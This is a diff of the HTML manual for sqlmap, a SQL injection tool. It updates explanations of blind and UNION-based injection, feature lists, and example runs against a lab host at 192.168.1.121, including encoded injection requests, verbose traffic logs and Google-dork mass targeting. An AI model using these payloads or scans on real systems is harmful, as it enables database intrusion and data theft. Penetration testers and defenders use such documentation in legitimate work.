diff --git a/doc/README.html b/doc/README.html index e065b5464..8b079a87c 100644 --- a/doc/README.html +++ b/doc/README.html @@ -108,19 +108,19 @@ or even be able to access the underlying operating system.
Consider that the target url is:
-http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2
+http://192.168.1.121/sqlmap/mysql/get_int.php?id=1
Assume that:
-http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=1&cat=2
+http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=1
is the same page as the original one and:
-http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=2&cat=2
+http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=2
differs from the original one, it means that you are in front of a SQL @@ -133,12 +133,12 @@ does not depend upon the back-end database management system nor on the web application programming language: it is a programmer code's security flaw. The Open Web Application Security Project -recently rated in their +rated on 2007 in their OWASP Top Ten survey this vulnerability as the most common and important web application vulnerability, second only to Cross-Site Scripting.
Back to the scenario, probably the SQL SELECT
statemenet into
-index.php
has a syntax similar to the following SQL query, in
+get_int.php
has a syntax similar to the following SQL query, in
pseudo PHP code:
@@ -154,16 +154,18 @@ same content and without showing any SQL error message.
if the web application technology supports +stacked queries, also known as multiple statements.Moreover, in this simple and easy to inject scenario it would be also possible to append, not just one or more valid SQL condition(s), but also stacked SQL queries, for instance something like
+ANOTHER SQL QUERY#[...]&id=1; -ANOTHER SQL QUERY--
Now that you found this SQL injection vulnerable parameter, you can exploit it by manipulating the
id
parameter value in the HTTP request.There exist many -resources -on the Net explaining in depth how to prevent and how to exploit SQL -injection vulnerabilities and it is recommended to read them if you are -not familiar with the issue before going ahead with sqlmap.
-Passing the original address,
+http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2
+resources +on the Net explaining in depth how to prevent, how to detect and how to +exploit SQL injection vulnerabilities in web application and it is +recommended to read them if you are not familiar with the issue before +going ahead with sqlmap.Passing the original address,
http://192.168.1.121/sqlmap/mysql/get_int.php?id=1
to sqlmap, the tool will automatically:
@@ -181,11 +183,11 @@ in the following section to go ahead with the exploiting.
sqlmap implements two techniques to exploit a SQL injection vulnerability:
-
@@ -222,7 +227,8 @@ with hundreds of HTTP requests.- Blind SQL injection, also known as inference SQL -injection: sqlmap appends to the affected parameter in the HTTP -request, a syntatically valid SQL statement string containing a -
SELECT
sub-statement, or any other SQL statement whose the user -want to retrieve the output. +- Blind SQL injection, also known as Inferential Blind SQL +injection in this implementation: sqlmap appends to the affected +parameter in the HTTP request, a syntatically valid SQL statement string +containing a
-SELECT
sub-statement, or any other SQL statement +whose the user want to retrieve the output. For each HTTP response, by making a comparison based upon HTML page content hashes, or string matches, with the original request, the tool determines the output value of the statement character by character. @@ -193,16 +195,19 @@ The bisection algorithm implemented in sqlmap to perform this technique is able to fetch each output character with at maximum seven HTTP requests. This is sqlmap default SQL injection technique.- Inband SQL injection, also known as UNION query SQL +
- Inband SQL injection, also known as Full UNION query SQL injection: sqlmap appends to the affected parameter in the HTTP request, a syntatically valid SQL statement string starting with a
UNION ALL SELECT
. This techique is useful if the web application page passes the output of theSELECT
statement to afor
cycle, or similar, so that each line of the query output is printed on the page content. +sqlmap is also able to exploit Partial UNION query SQL injection +vulnerabilities which occur when the output of the statement is not cycled +in a for construct whereas only the first entry output is displayed. This technique is much faster if the target url is affected by because -in a single HTTP response it returns the whole query output within the -page content. +in a single HTTP response it returns the whole query output or a entry +per each response within the page content. This SQL injection technique is an alternative to the first one.- Full support for MySQL, Oracle, PostgreSQL and Microsoft SQL Server back-end database management systems. Besides these four database management systems, sqlmap can also identify -Microsoft Access, DB2, Informix, Sybase and Interbase.
+Microsoft Access, DB2, Informix, Sybase and Interbase. +- Extensive back-end database management system fingerprint based upon inband error messages, @@ -230,19 +236,36 @@ based upon functions output comparison and specific features such as MySQL comment injection. It is also possible to force the back-end -database management system name if you already know it.
+database management system name if you already know it. sqlmap is also able +to fingerprint the web server operating system, the web application +technology and, in some circumstances, the back-end DBMS operating system. +- Full support for two SQL injection techniques: blind SQL -injection and inband SQL injection.
+injection and inband SQL injection. sqlmap can also test for +Time based blind SQL injection. +- Options to retrieve on all four back-end database management system banner, current user, current database, enumerate users, users password hashes, users privileges, databases, tables, columns, dump tables entries, dump whole database management -system and run your own SQL
+system and run your own SQLSELECT
statement.SELECT
statement. +- If the back-end database management system is MySQL it is also -possible to read a specific file content and in some -circumstances prompt for an interactive operating system shell -with TAB completion and history support.
+possible to read a specific file content from the ile system and, +in some circumstances, prompt for an interactive operating system +shell with TAB completion and history support. + +- It is possible to provide a single target URL, get the list of +targets from +Burp proxy +requests log file path or +WebScarab proxy +
conversations/
folder path or get the list of targets by providing +sqlmap with a Google dork which queries +Google search engine and +parses its results page. +- Automatically tests all provided GET parameters, POST parameters, HTTP Cookie header values and HTTP User-Agent header value to find the dynamic ones, which means @@ -253,38 +276,51 @@ affected by SQL injection. Each dynamic parameter is tested for string and all of these three datatypes with zero to two parenthesis to correctly detect which is the
+parameter(s) that you want to perform tests and use for injection on. +SELECT
statement syntax to perform further injections with. It is also possible to specify the -parameter(s) that you want to perform tests and use for injection on.- Option to specify the maximum number of concurrent HTTP requests to speed up the blind SQL injection algorithms -(multithreading).
+(multithreading). It is also possible to specify the number of seconds to +wait between each HTTP request. +- HTTP
+on such header. +Cookie
header string support, useful when the web application requires authentication based upon cookies and you have such data or in case you just want to test for and exploit SQL injection -on such header.- Automatically handle HTTP
-Set-Cookie
header from target url, re-establishing of the session if it expires. Test and exploit -on these values is supported too.- HTTP Basic and Digest authentications support.
-- Anonymous HTTP proxy support to pass by the HTTP requests -to the target URL.
+on these values is supported too. + +- HTTP Basic and Digest authentications support. +
+- Anonymous HTTP proxy support to pass by the requests to the +target URL that works also with HTTPS requests. +
- Options to fake the HTTP
+randomly selected from a text file. +Referer
header value and the HTTPUser-Agent
header value specified by user or -randomly selected from a text file.- Support to increase the verbosity level of output messages: -there exist six levels. The default level is 0 (silent) in which -only warnings, errors and tracebacks, if they occur, will be shown.
+there exist six levels. The default level is 1 in which +information, warnings, errors and tracebacks, if they occur, will be shown. +- Estimated time of arrival support for each query, updated in real time while fetching the information to give to the user an -overview on how long it will take to retrieve the output.
+overview on how long it will take to retrieve the output. +- Support to save the session (queries and their output, even if partially retrieved) in real time while fetching the data on a text file -and resume the injection from this file in a second time.
+and resume the injection from this file in a second time. +- Support to read options from a configuration INI file rather than specify each time all of the options on the command line. Support also to -save command line options on a configuration INI file.
+save command line options on a configuration INI file. +- Integration with other IT security related open source projects, Metasploit and -w3af.
+w3af. +- PHP setting
@@ -300,17 +336,22 @@ It is available in various formats:magic_quotes_gpc
bypass by encoding every query string, between single quotes, withCHAR
, or similar, database management system function.
-
- -Source gzip compressed operating system independent.
+Source gzip compressed operating system independent. +- -Source bzip2 compressed operating system independent.
+Source bzip2 compressed operating system independent. +- -Source zip compressed operating system independent.
+Source zip compressed operating system independent. +- DEB binary package architecture independent for Debian and any -other Debian derivated GNU/Linux distribution.
+other Debian derivated GNU/Linux distribution. +- RPM binary package architecture independent for Fedora and any -other operating system that can install RPM packages.
+other operating system that can install RPM packages. +- Portable executable for Windows that does not require the Python interpreter to be installed on the operating system.
@@ -386,6 +427,10 @@ Options: --timeout=TIMEOUT Seconds to wait before timeout connection (default 10) Injection: + These options can be used to specify which parameters to test for, + provide custom injection payloads and how to parse and compare HTTP + responses page content when using the blind SQL injection technique. + -p TESTPARAMETER Testable parameter(s) --dbms=DBMS Force back-end DBMS to this value --prefix=PREFIX Injection payload prefix string @@ -469,20 +514,25 @@ Options:5.1 Target
+At least one of these options has to be specified to set the source to get +target urls from.
+Target URL
Option:
-u
or--url
To run sqlmap on a single target URL.
-Example on a MySQL 5.0.51 target:
+Example on a MySQL 5.0.67 target:
@@ -494,93 +544,108 @@ back-end DBMS: MySQL >= 5.0.0
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" [...] -back-end DBMS: MySQL >= 5.0.0 +web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) +web application technology: PHP 5.2.6, Apache 2.2.9 +back-end DBMS: MySQL >= 5.0.0Verbose options can be used to set the verbosity level of output messages. There exist six levels. -The default level is 0 (silent) in which only warnings, errors and -tracebacks, if they occur, will be shown. Level 1 shows also info -messages, level 2 show also debug messages, level 3 show also HTTP -requests with all HTTP headers sent, level 4 show also HTTP responses -headers and level 5 show also HTTP responses page content.
+The default level is 1 in which information, warnings, errors and +tracebacks, if they occur, will be shown. +Level 2 shows also debug messages, level 3 shows also +HTTP requests with all HTTP headers sent, level 4 shows also HTTP +responses headers and level 5 shows also HTTP responses page +content. -Example on a MySQL 5.0.51 target (verbosity level 1):
+Example on a MySQL 5.0.67 target (verbosity level 1):
-
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 -[hh:mm:01] [INFO] testing connection to the target url -[hh:mm:01] [INFO] testing if the url is stable, wait a few seconds -[hh:mm:02] [INFO] url is stable -[hh:mm:02] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic -[hh:mm:02] [WARNING] User-Agent parameter 'User-Agent' is not dynamic -[hh:mm:02] [INFO] testing if GET parameter 'id' is dynamic -[hh:mm:02] [INFO] confirming that GET parameter 'id' is dynamic -[hh:mm:02] [INFO] GET parameter 'id' is dynamic -[hh:mm:02] [INFO] testing sql injection on GET parameter 'id' -[hh:mm:02] [INFO] testing numeric/unescaped injection on GET parameter 'id' -[hh:mm:02] [INFO] confirming numeric/unescaped injection on GET parameter 'id' -[hh:mm:02] [INFO] GET parameter 'id' is numeric/unescaped injectable -[hh:mm:02] [INFO] testing if GET parameter 'cat' is dynamic -[hh:mm:02] [WARNING] GET parameter 'cat' is not dynamic -[hh:mm:02] [INFO] testing for parenthesis on injectable parameter -[hh:mm:02] [INFO] the injectable parameter requires 0 parenthesis -[hh:mm:02] [INFO] testing MySQL -[hh:mm:02] [INFO] query: CONCAT(CHAR(53), CHAR(53)) -[hh:mm:02] [INFO] retrieved: 55 -[hh:mm:02] [INFO] performed 20 queries in 0 seconds -[hh:mm:02] [INFO] confirming MySQL -[hh:mm:02] [INFO] query: LENGTH(CHAR(53)) -[hh:mm:02] [INFO] retrieved: 1 -[hh:mm:02] [INFO] performed 13 queries in 0 seconds -[hh:mm:02] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT 0, 1 -[hh:mm:02] [INFO] retrieved: 5 -[hh:mm:02] [INFO] performed 13 queries in 0 seconds -back-end DBMS: MySQL >= 5.0.0 +[hh:mm:12] [INFO] testing connection to the target url +[hh:mm:12] [INFO] testing if the url is stable, wait a few seconds +[hh:mm:14] [INFO] url is stable +[hh:mm:14] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic +[hh:mm:14] [WARNING] User-Agent parameter 'User-Agent' is not dynamic +[hh:mm:14] [INFO] testing if GET parameter 'id' is dynamic +[hh:mm:14] [INFO] confirming that GET parameter 'id' is dynamic +[hh:mm:14] [INFO] GET parameter 'id' is dynamic +[hh:mm:14] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis +[hh:mm:14] [INFO] testing unescaped numeric injection on GET parameter 'id' +[hh:mm:14] [INFO] confirming unescaped numeric injection on GET parameter 'id' +[hh:mm:14] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis +[hh:mm:14] [INFO] testing for parenthesis on injectable parameter +[hh:mm:14] [INFO] the injectable parameter requires 0 parenthesis +[hh:mm:14] [INFO] testing MySQL +[hh:mm:14] [INFO] query: CONCAT(CHAR(53), CHAR(53)) +[hh:mm:14] [INFO] retrieved: 55 +[hh:mm:14] [INFO] performed 20 queries in 0 seconds +[hh:mm:14] [INFO] confirming MySQL +[hh:mm:14] [INFO] query: LENGTH(CHAR(53)) +[hh:mm:14] [INFO] retrieved: 1 +[hh:mm:14] [INFO] performed 13 queries in 0 seconds +[hh:mm:14] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT 0, 1 +[hh:mm:14] [INFO] retrieved: 5 +[hh:mm:14] [INFO] performed 13 queries in 0 seconds +web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) +web application technology: PHP 5.2.6, Apache 2.2.9 +back-end DBMS: MySQL >= 5.0.0Example on a MySQL 5.0.51 target (verbosity level 2):
+Example on a MySQL 5.0.67 target (verbosity level 2):
-
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 2 +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 2 -[hh:mm:34] [DEBUG] initializing the configuration -[hh:mm:34] [DEBUG] initializing the knowledge base -[hh:mm:34] [DEBUG] cleaning up configuration parameters -[hh:mm:34] [DEBUG] setting the HTTP method to perform HTTP requests through -[hh:mm:34] [DEBUG] creating HTTP requests opener object -[hh:mm:34] [DEBUG] parsing XML queries file -[hh:mm:34] [INFO] testing connection to the target url -[hh:mm:34] [INFO] testing if the url is stable, wait a few seconds -[hh:mm:35] [INFO] url is stable -[hh:mm:35] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic -[hh:mm:35] [WARNING] User-Agent parameter 'User-Agent' is not dynamic -[hh:mm:35] [INFO] testing if GET parameter 'id' is dynamic +[hh:mm:03] [DEBUG] initializing the configuration +[hh:mm:03] [DEBUG] initializing the knowledge base +[hh:mm:03] [DEBUG] cleaning up configuration parameters +[hh:mm:03] [DEBUG] setting the HTTP method to GET +[hh:mm:03] [DEBUG] creating HTTP requests opener object +[hh:mm:03] [DEBUG] parsing XML queries file +[hh:mm:03] [INFO] testing connection to the target url +[hh:mm:03] [INFO] testing if the url is stable, wait a few seconds +[hh:mm:04] [INFO] url is stable +[hh:mm:04] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic +[hh:mm:04] [WARNING] User-Agent parameter 'User-Agent' is not dynamic +[hh:mm:04] [INFO] testing if GET parameter 'id' is dynamic +[hh:mm:04] [INFO] confirming that GET parameter 'id' is dynamic +[hh:mm:04] [INFO] GET parameter 'id' is dynamic +[hh:mm:04] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis +[hh:mm:04] [INFO] testing unescaped numeric injection on GET parameter 'id' +[hh:mm:04] [INFO] confirming unescaped numeric injection on GET parameter 'id' +[hh:mm:04] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis [...]Example on a MySQL 5.0.51 target (verbosity level 3):
+Example on a MySQL 5.0.67 target (verbosity level 3):
-
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 3 +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 3 [...] -[hh:mm:28] [INFO] testing connection to the target url -[hh:mm:28] [TRAFFIC OUT] HTTP request: -GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1 +[hh:mm:54] [INFO] testing connection to the target url +[hh:mm:54] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1 +Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: 192.168.1.121:80 +Accept-language: en-us,en;q=0.5 +Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, +image/png,*/*;q=0.5 User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net) Connection: close [...] -[hh:mm:29] [INFO] testing MySQL -[hh:mm:29] [INFO] query: CONCAT(CHAR(52), CHAR(52)) -[hh:mm:29] [TRAFFIC OUT] HTTP request: -GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20 -CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%207994=7994&cat=2 HTTP/1.1 +[hh:mm:55] [INFO] testing MySQL +[hh:mm:55] [INFO] query: CONCAT(CHAR(54), CHAR(54)) +[hh:mm:55] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2854%29%2C%20CHAR +%2854%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%201104=1104 HTTP/1.1 +Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: 192.168.1.121:80 +Accept-language: en-us,en;q=0.5 +Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, +image/png,*/*;q=0.5 User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net) Connection: close [...] @@ -588,71 +653,72 @@ Connection: closeExample on a MySQL 5.0.51 target (verbosity level 4):
+Example on a MySQL 5.0.67 target (verbosity level 4):
-
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 4 +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 4 [...] -[hh:mm:32] [INFO] testing connection to the target url -[hh:mm:32] [TRAFFIC OUT] HTTP request: -GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1 +[hh:mm:44] [INFO] testing connection to the target url +[hh:mm:44] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1 +Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: 192.168.1.121:80 +Accept-language: en-us,en;q=0.5 +Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, +image/png,*/*;q=0.5 User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net) Connection: close -[hh:mm:32] [TRAFFIC IN] HTTP response (OK - 200): -Date: Thu, 24 Jul 2008 14:00:32 GMT -Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 -OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8 -X-Powered-By: PHP/5.2.4-2ubuntu5.2 -Content-Length: 127 +[hh:mm:44] [TRAFFIC IN] HTTP response (OK - 200): +Date: Thu, 11 Dec 2008 hh:mm:44 GMT +Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4 with Suhosin-Patch +X-Powered-By: PHP/5.2.6-2ubuntu4 +Content-Length: 119 Connection: close Content-Type: text/html [...] -[hh:mm:33] [INFO] testing MySQL -[hh:mm:33] [INFO] query: CONCAT(CHAR(52), CHAR(52)) -[hh:mm:33] [TRAFFIC OUT] HTTP request: -GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20 -CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%204435=4435&cat=2 HTTP/1.1 +[hh:mm:45] [INFO] testing MySQL +[hh:mm:46] [INFO] query: CONCAT(CHAR(52), CHAR(52)) +[hh:mm:46] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20CHAR +%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%203030=3030 HTTP/1.1 +Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: 192.168.1.121:80 +Accept-language: en-us,en;q=0.5 +Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, +image/png,*/*;q=0.5 User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net) Connection: close - -[hh:mm:33] [TRAFFIC IN] HTTP response (OK - 200): -Date: Thu, 24 Jul 2008 14:00:33 GMT -Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 -OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8 -X-Powered-By: PHP/5.2.4-2ubuntu5.2 -Content-Length: 75 -Connection: close -Content-Type: text/html [...]Example on a MySQL 5.0.51 target (verbosity level 5):
+Example on a MySQL 5.0.67 target (verbosity level 5):
:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 5 +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 5 [...] -[hh:mm:23] [INFO] testing connection to the target url -[hh:mm:23] [TRAFFIC OUT] HTTP request: -GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1 +[hh:mm:17] [INFO] testing connection to the target url +[hh:mm:17] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1 +Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: 192.168.1.121:80 +Accept-language: en-us,en;q=0.5 +Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, +image/png,*/*;q=0.5 User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net) Connection: close -[hh:mm:23] [TRAFFIC IN] HTTP response (OK - 200): -Date: Thu, 24 Jul 2008 14:02:23 GMT -Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 -OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8 -X-Powered-By: PHP/5.2.4-2ubuntu5.2 -Content-Length: 127 +[hh:mm:17] [TRAFFIC IN] HTTP response (OK - 200): +Date: Thu, 11 Dec 2008 hh:mm:17 GMT +Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4 with Suhosin-Patch +X-Powered-By: PHP/5.2.6-2ubuntu4 +Content-Length: 119 Connection: close Content-Type: text/html @@ -663,20 +729,23 @@ Content-Type: text/html </table> </body></html> [...] -[hh:mm:24] [INFO] testing MySQL -[hh:mm:24] [INFO] query: CONCAT(CHAR(51), CHAR(51)) -[hh:mm:24] [TRAFFIC OUT] HTTP request: -GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2851%29%2C%20 -CHAR%2851%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%201855=1855&cat=2 HTTP/1.1 +[hh:mm:18] [INFO] testing MySQL +[hh:mm:18] [INFO] query: CONCAT(CHAR(51), CHAR(51)) +[hh:mm:18] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2851%29%2C%20CHAR +%2851%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%202581=2581 HTTP/1.1 +Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: 192.168.1.121:80 +Accept-language: en-us,en;q=0.5 +Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, +image/png,*/*;q=0.5 User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net) Connection: close -[hh:mm:24] [TRAFFIC IN] HTTP response (OK - 200): -Date: Thu, 24 Jul 2008 14:02:24 GMT -Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 -OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8 -X-Powered-By: PHP/5.2.4-2ubuntu5.2 +[hh:mm:18] [TRAFFIC IN] HTTP response (OK - 200): +Date: Thu, 11 Dec 2008 hh:mm:18 GMT +Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4 with Suhosin-Patch +X-Powered-By: PHP/5.2.6-2ubuntu4 Content-Length: 75 Connection: close Content-Type: text/html @@ -696,15 +765,77 @@ Content-Type: text/htmlOption:
--l
TODO
+Rather than providing a single target URL it is possible to test and inject +on HTTP requests proxied through +Burp proxy +or +WebScarab proxy.
+ +Example passing to sqlmap a WebScarab proxy
+conversations/
folder:+
++
+$ python sqlmap.py -l /tmp/webscarab.log/conversations/ + +[hh:mm:43] [INFO] sqlmap parsed 27 testable requests from the targets list +[hh:mm:43] [INFO] sqlmap got a total of 27 targets +[hh:mm:43] [INPUT] url 1: +GET http://192.168.1.121:80/phpmyadmin/navigation.php?db=test&token=60747016432606019619a +c58b3780562 +Cookie: PPA_ID=197bf44d671aeb7d3a28719a467d86c3; phpMyAdmin=366c9c9b329a98eabb4b708c2df8b +d7d392eb151; pmaCookieVer=4; pmaPass-1=uH9%2Fz5%2FsB%2FM%3D; pmaUser-1=pInZx5iWPrA%3D; +pma_charset=iso-8859-1; pma_collation_connection=utf8_unicode_ci; pma_fontsize=deleted; +pma_lang=en-utf-8; pma_mcrypt_iv=o6Mwtqw6c0c%3D; pma_theme=deleted +do you want to test this url? [Y/n/q] n +[hh:mm:46] [INPUT] url 2: +GET http://192.168.1.121:80/sqlmap/mysql/get_int.php?id=1 +Cookie: PPA_ID=197bf44d671aeb7d3a28719a467d86c3 +do you want to test this url? [Y/n/q] y +[hh:mm:49] [INFO] testing url http://192.168.1.121:80/sqlmap/mysql/get_int.php?id=1 +[hh:mm:49] [INFO] testing connection to the target url +[hh:mm:49] [INFO] testing if the url is stable, wait a few seconds +[hh:mm:50] [INFO] url is stable +[hh:mm:50] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic +[hh:mm:50] [WARNING] User-Agent parameter 'User-Agent' is not dynamic +[hh:mm:50] [INFO] testing if Cookie parameter 'PPA_ID' is dynamic +[hh:mm:50] [WARNING] Cookie parameter 'PPA_ID' is not dynamic +[hh:mm:50] [INFO] testing if GET parameter 'id' is dynamic +[hh:mm:50] [INFO] confirming that GET parameter 'id' is dynamic +[hh:mm:50] [INFO] GET parameter 'id' is dynamic +[hh:mm:50] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis +[hh:mm:50] [INFO] testing unescaped numeric injection on GET parameter 'id' +[hh:mm:50] [INFO] confirming unescaped numeric injection on GET parameter 'id' +[hh:mm:50] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis +[hh:mm:50] [INPUT] do you want to exploit this SQL injection? [Y/n] y +[hh:mm:29] [INFO] testing for parenthesis on injectable parameter +[hh:mm:29] [INFO] the injectable parameter requires 0 parenthesis +[hh:mm:29] [INFO] testing MySQL +[hh:mm:29] [INFO] query: CONCAT(CHAR(57), CHAR(57)) +[hh:mm:29] [INFO] retrieved: 99 +[hh:mm:29] [INFO] performed 20 queries in 0 seconds +[hh:mm:29] [INFO] confirming MySQL +[hh:mm:29] [INFO] query: LENGTH(CHAR(57)) +[hh:mm:29] [INFO] retrieved: 1 +[hh:mm:29] [INFO] performed 13 queries in 0 seconds +[hh:mm:29] [INFO] query: SELECT 9 FROM information_schema.TABLES LIMIT 0, 1 +[hh:mm:29] [INFO] retrieved: 9 +[hh:mm:29] [INFO] performed 13 queries in 0 seconds +web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) +web application technology: PHP 5.2.6, Apache 2.2.9 +back-end DBMS: MySQL >= 5.0.0 +[...] ++Process Google dork results as target urls
Option:
--g
Rather than providing a target URL it is also possible to test and inject -on
+GET
parameters on the results of your Google dork.It is also possible to test and inject on
+GET
parameters on the +results of your Google dork.This option makes sqlmap negotiate with the search engine its session cookie to be able to perform a search, then sqlmap will retrieve Google first 100 results for the Google dork expression with
GET
parameters @@ -715,18 +846,22 @@ inurl:example.php
-$ python sqlmap.py -g "site:yourdomain.com inurl:example.php" -v 1 +$ python sqlmap.py -g "site:yourdomain.com ext:php" -v 1 [hh:mm:38] [INFO] first request to Google to get the session cookie [hh:mm:40] [INFO] sqlmap got 65 results for your Google dork expression, 59 of them are testable hosts -[hh:mm:40] [INFO] url 1: http://yourdomain.com/example.php?id=12, do you want to test this +[hh:mm:41] [INFO] sqlmap got a total of 59 targets +[hh:mm:40] [INFO] url 1: +GET http://yourdomain.com/example1.php?foo=12, do you want to test this url? [y/N/q] n -[hh:mm:43] [INFO] url 3: http://yourdomain.com/example.php?id=24, do you want to test this +[hh:mm:43] [INFO] url 2: +GET http://yourdomain.com/example2.php?bar=24, do you want to test this url? [y/N/q] n -[hh:mm:42] [INFO] url 2: http://thirdlevel.yourdomain.com/news/example.php?today=483, do you +[hh:mm:42] [INFO] url 3: +GET http://thirdlevel.yourdomain.com/news/example3.php?today=483, do you want to test this url? [y/N/q] y -[hh:mm:44] [INFO] testing url http://thirdlevel.yourdomain.com/news/example.php?today=483 +[hh:mm:44] [INFO] testing url http://thirdlevel.yourdomain.com/news/example3.php?today=483 [hh:mm:45] [INFO] testing if the url is stable, wait a few seconds [hh:mm:49] [INFO] url is stable [hh:mm:50] [INFO] testing if GET parameter 'today' is dynamic @@ -749,7 +884,7 @@ want to test this url? [y/N/q] yIt is possible to pass user's options from a configuration INI file, an example is
-sqlmap.conf
.Example on a MySQL 5.0.51 target:
+Example on a MySQL 5.0.67 target:
@@ -764,12 +899,14 @@ back-end DBMS: MySQL >= 5.0.0Note that if you also provide other options from command line, those are evaluated when running sqlmap and overwrite the same options, if set, in -the configuration file provided.
+the provided configuration file.5.2 Request
+These options can be used to specify how to connect to the target url.
+HTTP method:
GET
orPOST
Options:
@@ -784,7 +921,7 @@ tested for SQL injection like the--method
and--data
GET
parameters.@@ -846,7 +983,7 @@ value to the clipboard.
